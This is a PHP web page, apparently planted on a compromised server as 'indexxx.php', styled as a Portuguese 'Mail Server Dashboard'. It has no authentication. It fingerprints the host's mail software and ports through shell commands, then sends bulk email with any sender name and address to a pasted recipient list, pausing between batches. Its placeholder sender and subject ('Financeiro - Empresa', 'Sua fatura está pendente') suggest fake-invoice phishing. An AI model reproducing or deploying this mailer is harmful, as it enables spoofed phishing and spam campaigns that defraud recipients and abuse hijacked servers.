File: //proc/self/root/proc/thread-self/root/proc/self/cwd/indexxx.php
<?php
session_start();
set_time_limit(300);
// ══════════════════════════════════════════════
// SERVER MAIL DIAGNOSTICS
// ══════════════════════════════════════════════
function detectMTAs() {
$mtas = [
'postfix' => ['cmd' => 'postfix', 'service' => 'postfix', 'label' => 'Postfix', 'icon' => 'PF', 'color' => 'green'],
'exim' => ['cmd' => 'exim', 'service' => 'exim4', 'label' => 'Exim', 'icon' => 'EX', 'color' => 'purple'],
'sendmail' => ['cmd' => 'sendmail', 'service' => 'sendmail', 'label' => 'Sendmail', 'icon' => 'SM', 'color' => 'amber'],
'qmail' => ['cmd' => 'qmail-send', 'service' => 'qmail', 'label' => 'Qmail', 'icon' => 'QM', 'color' => 'red'],
'opensmtpd' => ['cmd' => 'smtpd', 'service' => 'opensmtpd', 'label' => 'OpenSMTPD', 'icon' => 'OS', 'color' => 'cyan'],
'msmtp' => ['cmd' => 'msmtp', 'service' => null, 'label' => 'msmtp', 'icon' => 'MS', 'color' => 'pink'],
];
$results = [];
foreach ($mtas as $key => $mta) {
$installed = false;
$running = false;
$version = '';
$path = '';
// Check if binary exists
$which = trim(shell_exec("which {$mta['cmd']} 2>/dev/null") ?? '');
if (empty($which)) {
// Try common paths
$tryPaths = ["/usr/sbin/{$mta['cmd']}", "/usr/bin/{$mta['cmd']}", "/usr/lib/{$mta['cmd']}"];
foreach ($tryPaths as $p) {
if (file_exists($p)) { $which = $p; break; }
}
}
if (!empty($which)) {
$installed = true;
$path = $which;
// Get version
if ($key === 'postfix') {
$version = trim(shell_exec("postconf -d mail_version 2>/dev/null | grep -oP '= \K.*'") ?? '');
if (empty($version)) $version = trim(shell_exec("{$which} -v 2>/dev/null | head -1") ?? '');
} elseif ($key === 'exim') {
$version = trim(shell_exec("exim -bV 2>/dev/null | head -1") ?? '');
} elseif ($key === 'sendmail') {
// sendmail binary can be a symlink from postfix/exim
$realpath = realpath($which);
if (strpos($realpath, 'postfix') !== false || strpos($realpath, 'exim') !== false) {
continue; // Skip, it's a symlink to another MTA
}
$version = trim(shell_exec("{$which} -d0.1 -bv root 2>&1 | head -1") ?? '');
} elseif ($key === 'msmtp') {
$version = trim(shell_exec("msmtp --version 2>/dev/null | head -1") ?? '');
} elseif ($key === 'opensmtpd') {
$version = trim(shell_exec("smtpd -h 2>&1 | head -1") ?? '');
}
}
// Check if service is running
if ($mta['service']) {
$active = trim(shell_exec("systemctl is-active {$mta['service']} 2>/dev/null") ?? '');
if ($active === 'active') $running = true;
// Fallback: check process
if (!$running) {
$ps = trim(shell_exec("pgrep -x {$mta['cmd']} 2>/dev/null") ?? '');
if (!empty($ps)) $running = true;
}
}
// For postfix, also check master process
if ($key === 'postfix' && !$running) {
$ps = trim(shell_exec("pgrep -x master 2>/dev/null") ?? '');
if (!empty($ps)) {
// Confirm it's postfix's master
$check = trim(shell_exec("ps -p {$ps} -o comm= 2>/dev/null") ?? '');
if ($check === 'master') $running = true;
}
}
if ($installed) {
$results[$key] = [
'label' => $mta['label'],
'icon' => $mta['icon'],
'color' => $mta['color'],
'installed' => true,
'running' => $running,
'version' => $version,
'path' => $path,
];
}
}
return $results;
}
function detectSendMethods() {
$methods = [];
// 1. PHP mail()
$mailEnabled = function_exists('mail');
$sendmailPath = ini_get('sendmail_path');
$methods['php_mail'] = [
'label' => 'PHP mail()',
'icon' => 'PM',
'color' => 'blue',
'available' => $mailEnabled && !empty($sendmailPath),
'detail' => $sendmailPath ?: 'Não configurado',
];
// 2. Sendmail binary (direct pipe)
$sendmailBin = null;
foreach (['/usr/sbin/sendmail', '/usr/lib/sendmail', '/usr/bin/sendmail'] as $p) {
if (file_exists($p) && is_executable($p)) { $sendmailBin = $p; break; }
}
$methods['sendmail_bin'] = [
'label' => 'Sendmail (binário)',
'icon' => 'SB',
'color' => 'amber',
'available' => $sendmailBin !== null,
'detail' => $sendmailBin ?? 'Não encontrado',
'path' => $sendmailBin,
];
// 3. Local SMTP :25
$smtp25 = @fsockopen('127.0.0.1', 25, $e, $es, 3);
$banner25 = '';
if ($smtp25) { $banner25 = trim(fgets($smtp25, 512)); fclose($smtp25); }
$methods['smtp_25'] = [
'label' => 'SMTP Local :25',
'icon' => '25',
'color' => 'green',
'available' => $smtp25 !== false,
'detail' => $banner25 ?: 'Não respondendo',
];
// 4. Local SMTP :465
$smtp465 = @fsockopen('ssl://127.0.0.1', 465, $e, $es, 3);
$banner465 = '';
if ($smtp465) { $banner465 = trim(fgets($smtp465, 512)); fclose($smtp465); }
$methods['smtp_465'] = [
'label' => 'SMTP Local :465 (SSL)',
'icon' => '465',
'color' => 'purple',
'available' => $smtp465 !== false,
'detail' => $banner465 ?: 'Não respondendo',
];
// 5. Local SMTP :587
$smtp587 = @fsockopen('127.0.0.1', 587, $e, $es, 3);
$banner587 = '';
if ($smtp587) { $banner587 = trim(fgets($smtp587, 512)); fclose($smtp587); }
$methods['smtp_587'] = [
'label' => 'SMTP Local :587',
'icon' => '587',
'color' => 'cyan',
'available' => $smtp587 !== false,
'detail' => $banner587 ?: 'Não respondendo',
];
return $methods;
}
function scanPorts() {
$ports = [25, 465, 587];
$results = [];
foreach ($ports as $port) {
$outbound = false;
$targets = [
25 => 'gmail-smtp-in.l.google.com',
465 => 'smtp.gmail.com',
587 => 'smtp.gmail.com',
];
$target = $targets[$port];
if ($port === 465) {
$ext = @fsockopen("ssl://{$target}", $port, $e, $es, 5);
} else {
$ext = @fsockopen($target, $port, $e, $es, 5);
}
if ($ext) { $outbound = true; fclose($ext); }
$results[$port] = ['outbound' => $outbound];
}
return $results;
}
// ─── Get hostname & IP ───
function getServerInfo() {
$hostname = gethostname();
$ip = trim(shell_exec("hostname -I 2>/dev/null | awk '{print $1}'") ?? '');
if (empty($ip)) $ip = $_SERVER['SERVER_ADDR'] ?? 'N/A';
$os = trim(shell_exec("lsb_release -ds 2>/dev/null") ?? '');
if (empty($os)) $os = php_uname('s') . ' ' . php_uname('r');
return ['hostname' => $hostname, 'ip' => $ip, 'os' => $os, 'php' => phpversion()];
}
// ══════════════════════════════════════════════
// API ENDPOINTS
// ══════════════════════════════════════════════
if (isset($_GET['action'])) {
header('Content-Type: application/json');
switch ($_GET['action']) {
case 'detect':
echo json_encode([
'server' => getServerInfo(),
'mtas' => detectMTAs(),
'methods' => detectSendMethods(),
'ports' => scanPorts(),
]);
exit;
case 'rescan_ports':
echo json_encode(['ports' => scanPorts()]);
exit;
}
}
// ══════════════════════════════════════════════
// SEND HANDLER
// ══════════════════════════════════════════════
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'send') {
header('Content-Type: application/json');
$method = $_POST['method'] ?? '';
$fromName = $_POST['from_name'] ?? '';
$fromEmail = $_POST['from_email'] ?? '';
$subject = $_POST['subject'] ?? '';
$message = $_POST['message'] ?? '';
$contentType = $_POST['content_type'] ?? 'html';
$emailList = array_filter(array_map('trim', explode("\n", $_POST['email_list'] ?? '')));
$pauseEvery = max(1, intval($_POST['pause_every'] ?? 10));
$pauseMin = max(0, intval($_POST['pause_minutes'] ?? 1));
if (empty($fromName) || empty($fromEmail) || empty($subject) || empty($message) || empty($emailList)) {
echo json_encode(['success' => false, 'error' => 'Preencha todos os campos obrigatórios.']);
exit;
}
$mime = ($contentType === 'html') ? 'text/html' : 'text/plain';
$results = [];
$sent = 0;
$failed = 0;
foreach ($emailList as $i => $rawTo) {
$to = filter_var(trim($rawTo), FILTER_VALIDATE_EMAIL);
if (!$to) {
$results[] = ['email' => trim($rawTo), 'status' => 'invalid', 'msg' => 'E-mail inválido'];
$failed++;
continue;
}
$ok = false;
$errMsg = '';
switch ($method) {
case 'php_mail':
$headers = "From: {$fromName} <{$fromEmail}>\r\n";
$headers .= "Reply-To: {$fromEmail}\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: {$mime}; charset=UTF-8\r\n";
$headers .= "X-Mailer: PHP/" . phpversion();
$ok = @mail($to, $subject, $message, $headers, "-f{$fromEmail}");
if (!$ok) $errMsg = 'mail() retornou false';
break;
case 'sendmail_bin':
$sendmailBin = null;
foreach (['/usr/sbin/sendmail', '/usr/lib/sendmail', '/usr/bin/sendmail'] as $p) {
if (file_exists($p) && is_executable($p)) { $sendmailBin = $p; break; }
}
if (!$sendmailBin) { $errMsg = 'Binário não encontrado'; break; }
$email = "From: {$fromName} <{$fromEmail}>\r\n";
$email .= "To: {$to}\r\n";
$email .= "Subject: {$subject}\r\n";
$email .= "MIME-Version: 1.0\r\n";
$email .= "Content-Type: {$mime}; charset=UTF-8\r\n";
$email .= "\r\n";
$email .= $message;
$descriptors = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
$proc = proc_open("{$sendmailBin} -t -f{$fromEmail}", $descriptors, $pipes);
if (is_resource($proc)) {
fwrite($pipes[0], $email);
fclose($pipes[0]);
$stdout = stream_get_contents($pipes[1]); fclose($pipes[1]);
$stderr = stream_get_contents($pipes[2]); fclose($pipes[2]);
$code = proc_close($proc);
$ok = ($code === 0);
if (!$ok) $errMsg = trim($stderr) ?: "exit code {$code}";
} else {
$errMsg = 'proc_open falhou';
}
break;
case 'smtp_25':
case 'smtp_465':
case 'smtp_587':
$portMap = ['smtp_25' => 25, 'smtp_465' => 465, 'smtp_587' => 587];
$port = $portMap[$method];
if ($port === 465) {
$sock = @fsockopen('ssl://127.0.0.1', $port, $errno, $estr, 10);
} else {
$sock = @fsockopen('127.0.0.1', $port, $errno, $estr, 10);
}
if (!$sock) { $errMsg = "Conexão recusada na porta {$port}"; break; }
$resp = fgets($sock, 512);
if (substr($resp, 0, 3) !== '220') { fclose($sock); $errMsg = 'Banner inválido'; break; }
fputs($sock, "EHLO localhost\r\n");
smtpDrain($sock);
// STARTTLS on 587 if available
if ($port === 587) {
fputs($sock, "STARTTLS\r\n");
$r = smtpDrain($sock);
if (substr($r, 0, 3) === '220') {
@stream_socket_enable_crypto($sock, true, STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT);
fputs($sock, "EHLO localhost\r\n");
smtpDrain($sock);
}
}
fputs($sock, "MAIL FROM:<{$fromEmail}>\r\n");
$r = smtpDrain($sock);
if (substr($r, 0, 3) !== '250') { fclose($sock); $errMsg = "MAIL FROM rejeitado: " . trim($r); break; }
fputs($sock, "RCPT TO:<{$to}>\r\n");
$r = smtpDrain($sock);
if (substr($r, 0, 3) !== '250') { fclose($sock); $errMsg = "RCPT TO rejeitado: " . trim($r); break; }
fputs($sock, "DATA\r\n");
$r = smtpDrain($sock);
if (substr($r, 0, 3) !== '354') { fclose($sock); $errMsg = 'DATA rejeitado'; break; }
$date = date('r');
$msgId = '<' . uniqid('m', true) . '@' . gethostname() . '>';
$body = "Date: {$date}\r\n";
$body .= "Message-ID: {$msgId}\r\n";
$body .= "From: {$fromName} <{$fromEmail}>\r\n";
$body .= "To: {$to}\r\n";
$body .= "Subject: {$subject}\r\n";
$body .= "MIME-Version: 1.0\r\n";
$body .= "Content-Type: {$mime}; charset=UTF-8\r\n";
$body .= "\r\n";
$body .= str_replace("\n.", "\n..", $message) . "\r\n.\r\n";
fputs($sock, $body);
$r = smtpDrain($sock);
$ok = (substr($r, 0, 3) === '250');
if (!$ok) $errMsg = trim($r);
fputs($sock, "QUIT\r\n");
fclose($sock);
break;
default:
$errMsg = 'Método desconhecido';
}
$results[] = [
'email' => $to,
'status' => $ok ? 'sent' : 'failed',
'msg' => $ok ? 'Enviado' : ($errMsg ?: 'Falha no envio'),
];
$ok ? $sent++ : $failed++;
// Pause
if ($pauseMin > 0 && ($i + 1) % $pauseEvery === 0 && ($i + 1) < count($emailList)) {
sleep($pauseMin * 60);
}
}
echo json_encode(['success' => true, 'sent' => $sent, 'failed' => $failed, 'total' => count($emailList), 'results' => $results]);
exit;
}
function smtpDrain($sock) {
$data = '';
while ($line = fgets($sock, 512)) {
$data .= $line;
if (substr($line, 3, 1) === ' ') break;
}
return $data;
}
?>
<!DOCTYPE html>
<html lang="pt-BR">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Mail Server Dashboard</title>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet">
<style>
*,*::before,*::after{margin:0;padding:0;box-sizing:border-box}
:root{
--bg:#07070b;--bg2:#0c0c14;--bg3:#0f0f18;--bg4:#161622;--bg5:#1c1c2e;
--border:#1a1a2c;--border2:#252538;
--amber:#f59e0b;--amber-g:rgba(245,158,11,.10);
--purple:#7c3aed;--purple-g:rgba(124,58,237,.08);
--green:#10b981;--green-g:rgba(16,185,129,.10);
--red:#ef4444;--red-g:rgba(239,68,68,.10);
--cyan:#06b6d4;--cyan-g:rgba(6,182,212,.10);
--blue:#3b82f6;--blue-g:rgba(59,130,246,.10);
--pink:#ec4899;--pink-g:rgba(236,72,153,.10);
--text:#e4e4e7;--dim:#71717a;--muted:#3f3f50;
--r:10px;
}
body{font-family:'Inter',sans-serif;background:var(--bg);color:var(--text);min-height:100vh;line-height:1.5}
/* ─ topbar ─ */
.topbar{border-bottom:1px solid var(--border);padding:16px 28px;display:flex;align-items:center;gap:14px;background:var(--bg2)}
.topbar .logo{width:36px;height:36px;background:linear-gradient(135deg,var(--amber),var(--purple));border-radius:8px;display:grid;place-items:center;font-weight:800;font-size:15px;color:#fff}
.topbar h1{font-size:17px;font-weight:700;letter-spacing:-.02em}
.topbar .v{font-family:'JetBrains Mono',monospace;font-size:11px;color:var(--amber);background:var(--amber-g);padding:3px 10px;border-radius:20px}
.shell{max-width:960px;margin:0 auto;padding:36px 20px 80px}
/* ─ section titles ─ */
.sec{margin-bottom:28px}
.sec-head{font-size:12px;font-weight:700;text-transform:uppercase;letter-spacing:.08em;color:var(--dim);margin-bottom:14px;display:flex;align-items:center;gap:8px}
.sec-head .line{flex:1;height:1px;background:var(--border)}
/* ─ server info strip ─ */
.server-strip{display:flex;gap:6px;flex-wrap:wrap;margin-bottom:28px}
.server-strip .chip{
font-family:'JetBrains Mono',monospace;font-size:11px;font-weight:500;
padding:6px 14px;border-radius:20px;
background:var(--bg3);border:1px solid var(--border);color:var(--dim);
display:flex;align-items:center;gap:6px;
}
.server-strip .chip b{color:var(--text);font-weight:600}
/* ─ port grid ─ */
.port-grid{display:grid;grid-template-columns:repeat(3,1fr);gap:10px;margin-bottom:28px}
.port-card{
background:var(--bg3);border:1px solid var(--border);border-radius:var(--r);
padding:18px;text-align:center;position:relative;
}
.port-card .port-num{font-family:'JetBrains Mono',monospace;font-size:28px;font-weight:800;margin-bottom:8px}
.port-card .port-row{display:flex;justify-content:center;gap:12px;font-size:11px;font-weight:600}
.port-card .port-row .tag{padding:3px 10px;border-radius:12px;display:flex;align-items:center;gap:4px}
.tag-ok{background:var(--green-g);color:var(--green)}
.tag-no{background:var(--red-g);color:var(--red)}
.tag-dot{width:6px;height:6px;border-radius:50%}
.tag-ok .tag-dot{background:var(--green)}
.tag-no .tag-dot{background:var(--red)}
.rescan-btn{
display:inline-flex;align-items:center;gap:6px;
font-family:'JetBrains Mono',monospace;font-size:11px;font-weight:500;
color:var(--cyan);background:var(--cyan-g);
border:1px solid rgba(6,182,212,.2);border-radius:6px;
padding:6px 14px;cursor:pointer;margin-bottom:28px;transition:all .2s;
}
.rescan-btn:hover{background:rgba(6,182,212,.18)}
/* ─ mta grid ─ */
.mta-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(180px,1fr));gap:10px;margin-bottom:28px}
.mta-card{
background:var(--bg3);border:1px solid var(--border);border-radius:var(--r);
padding:16px;position:relative;
}
.mta-card .mta-icon{
width:32px;height:32px;border-radius:7px;display:grid;place-items:center;
font-family:'JetBrains Mono',monospace;font-size:12px;font-weight:700;margin-bottom:10px;
}
.mta-card .mta-name{font-size:14px;font-weight:600;margin-bottom:2px}
.mta-card .mta-ver{font-family:'JetBrains Mono',monospace;font-size:10px;color:var(--muted);word-break:break-all}
.mta-card .mta-badge{
position:absolute;top:12px;right:12px;
font-size:10px;font-weight:600;padding:2px 8px;border-radius:10px;
}
.mta-badge.running{background:var(--green-g);color:var(--green)}
.mta-badge.stopped{background:var(--red-g);color:var(--red)}
.mta-badge.installed{background:var(--amber-g);color:var(--amber)}
/* ─ method cards (selectable) ─ */
.method-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(170px,1fr));gap:10px;margin-bottom:28px}
.m-card{
background:var(--bg3);border:2px solid var(--border);border-radius:var(--r);
padding:16px;cursor:pointer;transition:all .2s;position:relative;
}
.m-card:hover{border-color:var(--muted)}
.m-card.active{border-color:var(--amber);box-shadow:0 0 0 3px var(--amber-g)}
.m-card.disabled{opacity:.3;cursor:not-allowed;pointer-events:none}
.m-card .m-icon{
width:30px;height:30px;border-radius:6px;display:grid;place-items:center;
font-family:'JetBrains Mono',monospace;font-size:11px;font-weight:700;margin-bottom:8px;
}
.m-card .m-title{font-size:13px;font-weight:600;margin-bottom:3px}
.m-card .m-detail{font-family:'JetBrains Mono',monospace;font-size:10px;color:var(--muted);word-break:break-all}
.m-card .m-status{font-size:10px;font-weight:600;margin-top:6px}
.m-card .m-status.on{color:var(--green)}
.m-card .m-status.off{color:var(--dim)}
.m-card .radio{
position:absolute;top:12px;right:12px;width:18px;height:18px;
border-radius:50%;border:2px solid var(--border);display:grid;place-items:center;transition:all .2s;
}
.m-card.active .radio{border-color:var(--amber);background:var(--amber)}
.m-card.active .radio::after{content:'✓';color:#000;font-size:10px;font-weight:800}
/* ─ form cards ─ */
.card{background:var(--bg3);border:1px solid var(--border);border-radius:var(--r);padding:24px;margin-bottom:16px}
.card-t{font-size:12px;font-weight:600;text-transform:uppercase;letter-spacing:.06em;color:var(--dim);margin-bottom:16px;display:flex;align-items:center;gap:8px}
.card-t .dot{width:6px;height:6px;border-radius:50%;background:var(--amber)}
.field{margin-bottom:14px}.field:last-child{margin-bottom:0}
.field label{display:block;font-size:12px;font-weight:500;color:var(--dim);margin-bottom:5px}
.field input,.field textarea,.field select{
width:100%;font-family:'Inter',sans-serif;font-size:13px;color:var(--text);
background:var(--bg4);border:1px solid var(--border);border-radius:7px;
padding:10px 12px;outline:none;transition:border-color .2s,box-shadow .2s;
}
.field input:focus,.field textarea:focus{border-color:var(--amber);box-shadow:0 0 0 3px var(--amber-g)}
.field textarea{resize:vertical;min-height:110px}
.row2{display:grid;grid-template-columns:1fr 1fr;gap:12px}
.pills{display:flex;gap:4px;margin-bottom:14px}
.pills button{
font-family:'JetBrains Mono',monospace;font-size:11px;font-weight:500;
padding:5px 14px;border-radius:5px;border:1px solid var(--border);
background:transparent;color:var(--dim);cursor:pointer;transition:all .2s;
}
.pills button.active{border-color:var(--purple);background:var(--purple-g);color:var(--purple)}
.pause-row{display:flex;align-items:center;gap:8px;font-size:13px;color:var(--dim);flex-wrap:wrap}
.pause-row input{
width:65px;font-family:'JetBrains Mono',monospace;font-size:13px;color:var(--amber);
background:var(--bg4);border:1px solid var(--border);border-radius:7px;
padding:8px 10px;outline:none;text-align:center;
}
.pause-row input:focus{border-color:var(--amber);box-shadow:0 0 0 3px var(--amber-g)}
.send-btn{
width:100%;padding:15px;font-family:'Inter',sans-serif;font-size:14px;font-weight:700;
color:#000;background:linear-gradient(135deg,var(--amber),#fbbf24);
border:none;border-radius:var(--r);cursor:pointer;transition:transform .15s,box-shadow .2s;margin-top:6px;
}
.send-btn:hover{transform:translateY(-1px);box-shadow:0 6px 20px rgba(245,158,11,.3)}
.send-btn:active{transform:translateY(0)}
.send-btn:disabled{opacity:.4;cursor:not-allowed;transform:none;box-shadow:none}
/* ─ progress ─ */
.prog{margin-top:20px;display:none}
.prog-bar{width:100%;height:5px;background:var(--bg4);border-radius:3px;overflow:hidden;margin-bottom:12px}
.prog-fill{height:100%;width:0%;background:linear-gradient(90deg,var(--amber),var(--purple));border-radius:3px;transition:width .4s}
.stats{display:flex;gap:16px;font-family:'JetBrains Mono',monospace;font-size:12px;margin-bottom:14px}
.stats .s{display:flex;align-items:center;gap:5px}
.stats .s .n{font-weight:700}
.stats .ok{color:var(--green)}.stats .fail{color:var(--red)}.stats .tot{color:var(--dim)}
.rlog{
max-height:220px;overflow-y:auto;font-family:'JetBrains Mono',monospace;font-size:11px;
background:var(--bg4);border:1px solid var(--border);border-radius:7px;padding:12px;
}
.rlog .e{padding:3px 0;display:flex;justify-content:space-between;align-items:center;border-bottom:1px solid var(--border)}
.rlog .e:last-child{border-bottom:none}
.rlog .b{font-size:10px;padding:2px 7px;border-radius:4px;font-weight:600}
.rlog .b.sent{background:rgba(16,185,129,.12);color:var(--green)}
.rlog .b.failed{background:rgba(239,68,68,.12);color:var(--red)}
.rlog .b.invalid{background:rgba(113,113,122,.12);color:var(--dim)}
.rlog::-webkit-scrollbar{width:4px}.rlog::-webkit-scrollbar-thumb{background:var(--border);border-radius:2px}
/* ─ loading skeleton ─ */
.skel{background:linear-gradient(90deg,var(--bg3) 25%,var(--bg4) 50%,var(--bg3) 75%);background-size:200% 100%;animation:shimmer 1.5s infinite;border-radius:var(--r);height:80px}
@keyframes shimmer{0%{background-position:200% 0}100%{background-position:-200% 0}}
@media(max-width:640px){
.shell{padding:20px 12px 60px}
.port-grid,.mta-grid,.method-grid{grid-template-columns:1fr 1fr}
.row2{grid-template-columns:1fr}
.topbar{padding:12px 14px}
}
</style>
</head>
<body>
<div class="topbar">
<div class="logo">M</div>
<h1>Mail Server Dashboard</h1>
<span class="v">v3.0</span>
</div>
<div class="shell">
<!-- Server Info -->
<div class="server-strip" id="server-strip">
<div class="chip"><span>⏳</span> Detectando servidor...</div>
</div>
<!-- Ports -->
<div class="sec">
<div class="sec-head">Portas de E-mail <span class="line"></span></div>
<div class="port-grid" id="port-grid">
<div class="skel"></div><div class="skel"></div><div class="skel"></div>
</div>
<button class="rescan-btn" onclick="rescanPorts()">↻ Re-escanear portas</button>
</div>
<!-- MTAs -->
<div class="sec">
<div class="sec-head">MTAs Instalados <span class="line"></span></div>
<div class="mta-grid" id="mta-grid">
<div class="skel"></div><div class="skel"></div><div class="skel"></div>
</div>
</div>
<!-- Send Methods -->
<div class="sec">
<div class="sec-head">Método de Envio <span class="line"></span></div>
<div class="method-grid" id="method-grid"></div>
</div>
<!-- Form -->
<div class="card">
<div class="card-t"><span class="dot"></span> Remetente</div>
<div class="row2">
<div class="field"><label>Nome</label><input type="text" id="from_name" placeholder="Financeiro - Empresa"></div>
<div class="field"><label>E-mail</label><input type="email" id="from_email" placeholder="contato@dominio.com"></div>
</div>
</div>
<div class="card">
<div class="card-t"><span class="dot"></span> Mensagem</div>
<div class="field"><label>Assunto</label><input type="text" id="subject" placeholder="Sua fatura está pendente"></div>
<div class="pills">
<button class="active" onclick="setCT('html',this)">HTML</button>
<button onclick="setCT('text',this)">Texto</button>
</div>
<div class="field"><label>Corpo</label><textarea id="message" rows="7" placeholder="<h1>Olá!</h1> <p>Sua fatura está pendente...</p>"></textarea></div>
</div>
<div class="card">
<div class="card-t"><span class="dot"></span> Destinatários</div>
<div class="field"><label>E-mails (um por linha)</label><textarea id="email_list" rows="5" placeholder="a@email.com b@email.com" style="font-family:'JetBrains Mono',monospace;font-size:12px"></textarea></div>
<div style="font-size:11px;color:var(--muted);margin-top:6px"><span id="ecount">0</span> e-mails</div>
</div>
<div class="card">
<div class="card-t"><span class="dot"></span> Controle de Envio</div>
<div class="pause-row">
Pausar por <input type="number" id="pause_min" value="1" min="0"> min a cada <input type="number" id="pause_every" value="10" min="1"> e-mails
</div>
</div>
<button class="send-btn" id="send-btn" onclick="doSend()">Iniciar Envio</button>
<div class="prog" id="prog">
<div class="prog-bar"><div class="prog-fill" id="pfill"></div></div>
<div class="stats">
<div class="s ok"><span class="n" id="ns">0</span> enviados</div>
<div class="s fail"><span class="n" id="nf">0</span> falhas</div>
<div class="s tot"><span class="n" id="nt">0</span> total</div>
</div>
<div class="rlog" id="rlog"></div>
</div>
</div>
<script>
let selectedMethod = null;
let ct = 'html';
const colorMap = {
green: {bg:'var(--green-g)', fg:'var(--green)'},
purple: {bg:'var(--purple-g)', fg:'var(--purple)'},
amber: {bg:'var(--amber-g)', fg:'var(--amber)'},
red: {bg:'var(--red-g)', fg:'var(--red)'},
cyan: {bg:'var(--cyan-g)', fg:'var(--cyan)'},
blue: {bg:'var(--blue-g)', fg:'var(--blue)'},
pink: {bg:'var(--pink-g)', fg:'var(--pink)'},
};
window.addEventListener('DOMContentLoaded', () => {
fetch('?action=detect')
.then(r => r.json())
.then(d => {
renderServer(d.server);
renderPorts(d.ports);
renderMTAs(d.mtas);
renderMethods(d.methods);
})
.catch(() => {
document.getElementById('server-strip').innerHTML = '<div class="chip"><span>⚠</span> Erro na detecção</div>';
});
});
function renderServer(s) {
const el = document.getElementById('server-strip');
el.innerHTML = `
<div class="chip">HOST <b>${s.hostname}</b></div>
<div class="chip">IP <b>${s.ip}</b></div>
<div class="chip">OS <b>${s.os}</b></div>
<div class="chip">PHP <b>${s.php}</b></div>
`;
}
function renderPorts(ports) {
const el = document.getElementById('port-grid');
el.innerHTML = '';
[25, 465, 587].forEach(p => {
const d = ports[p] || {outbound:false};
const open = d.outbound;
el.innerHTML += `
<div class="port-card" style="border-color:${open?'rgba(16,185,129,.3)':'rgba(239,68,68,.2)'}">
<div class="port-num" style="color:${open?'var(--green)':'var(--muted)'}">${p}</div>
<span class="tag ${open?'tag-ok':'tag-no'}" style="font-size:12px;padding:4px 14px"><span class="tag-dot"></span> ${open?'OPEN':'CLOSED'}</span>
</div>`;
});
}
function rescanPorts() {
const el = document.getElementById('port-grid');
el.innerHTML = '<div class="skel"></div><div class="skel"></div><div class="skel"></div>';
fetch('?action=rescan_ports')
.then(r => r.json())
.then(d => renderPorts(d.ports));
}
function renderMTAs(mtas) {
const el = document.getElementById('mta-grid');
const keys = Object.keys(mtas);
if (keys.length === 0) {
el.innerHTML = '<div style="font-size:13px;color:var(--dim);padding:12px">Nenhum MTA detectado</div>';
return;
}
el.innerHTML = '';
keys.forEach(k => {
const m = mtas[k];
const c = colorMap[m.color] || colorMap.green;
const badge = m.running
? '<span class="mta-badge running">Ativo</span>'
: '<span class="mta-badge installed">Instalado</span>';
el.innerHTML += `
<div class="mta-card">
${badge}
<div class="mta-icon" style="background:${c.bg};color:${c.fg}">${m.icon}</div>
<div class="mta-name">${m.label}</div>
<div class="mta-ver">${m.path}</div>
${m.version ? `<div class="mta-ver" style="margin-top:2px">${m.version}</div>` : ''}
</div>`;
});
}
function renderMethods(methods) {
const el = document.getElementById('method-grid');
el.innerHTML = '';
let firstAvailable = null;
Object.entries(methods).forEach(([k, m]) => {
const c = colorMap[m.color] || colorMap.green;
const dis = m.available ? '' : 'disabled';
if (m.available && !firstAvailable) firstAvailable = k;
el.innerHTML += `
<div class="m-card ${dis}" data-m="${k}" onclick="pickMethod('${k}')">
<div class="radio"></div>
<div class="m-icon" style="background:${c.bg};color:${c.fg}">${m.icon}</div>
<div class="m-title">${m.label}</div>
<div class="m-detail">${m.detail || ''}</div>
<div class="m-status ${m.available?'on':'off'}">${m.available?'Disponível ✓':'Indisponível'}</div>
</div>`;
});
if (firstAvailable) pickMethod(firstAvailable);
}
function pickMethod(m) {
const card = document.querySelector(`.m-card[data-m="${m}"]`);
if (!card || card.classList.contains('disabled')) return;
selectedMethod = m;
document.querySelectorAll('.m-card').forEach(c => c.classList.remove('active'));
card.classList.add('active');
}
function setCT(t, el) {
ct = t;
document.querySelectorAll('.pills button').forEach(b => b.classList.remove('active'));
el.classList.add('active');
}
document.getElementById('email_list').addEventListener('input', function() {
document.getElementById('ecount').textContent = this.value.split('\n').filter(l=>l.trim()).length;
});
function doSend() {
if (!selectedMethod) return alert('Selecione um método de envio.');
const btn = document.getElementById('send-btn');
btn.disabled = true; btn.textContent = 'Enviando...';
const fd = new FormData();
fd.append('action','send');
fd.append('method', selectedMethod);
fd.append('from_name', document.getElementById('from_name').value);
fd.append('from_email', document.getElementById('from_email').value);
fd.append('subject', document.getElementById('subject').value);
fd.append('message', document.getElementById('message').value);
fd.append('content_type', ct);
fd.append('email_list', document.getElementById('email_list').value);
fd.append('pause_every', document.getElementById('pause_every').value);
fd.append('pause_minutes', document.getElementById('pause_min').value);
document.getElementById('prog').style.display = 'block';
fetch(window.location.href, {method:'POST', body:fd})
.then(r=>r.json())
.then(d=>{
if(!d.success){alert(d.error);btn.disabled=false;btn.textContent='Iniciar Envio';return}
document.getElementById('ns').textContent=d.sent;
document.getElementById('nf').textContent=d.failed;
document.getElementById('nt').textContent=d.total;
document.getElementById('pfill').style.width='100%';
const log=document.getElementById('rlog');log.innerHTML='';
d.results.forEach(r=>{
log.innerHTML+=`<div class="e"><span>${r.email}</span><span class="b ${r.status}">${r.msg}</span></div>`;
});
btn.disabled=false;btn.textContent='Iniciar Envio';
})
.catch(e=>{alert('Erro: '+e.message);btn.disabled=false;btn.textContent='Iniciar Envio';});
}
</script>
</body>
</html>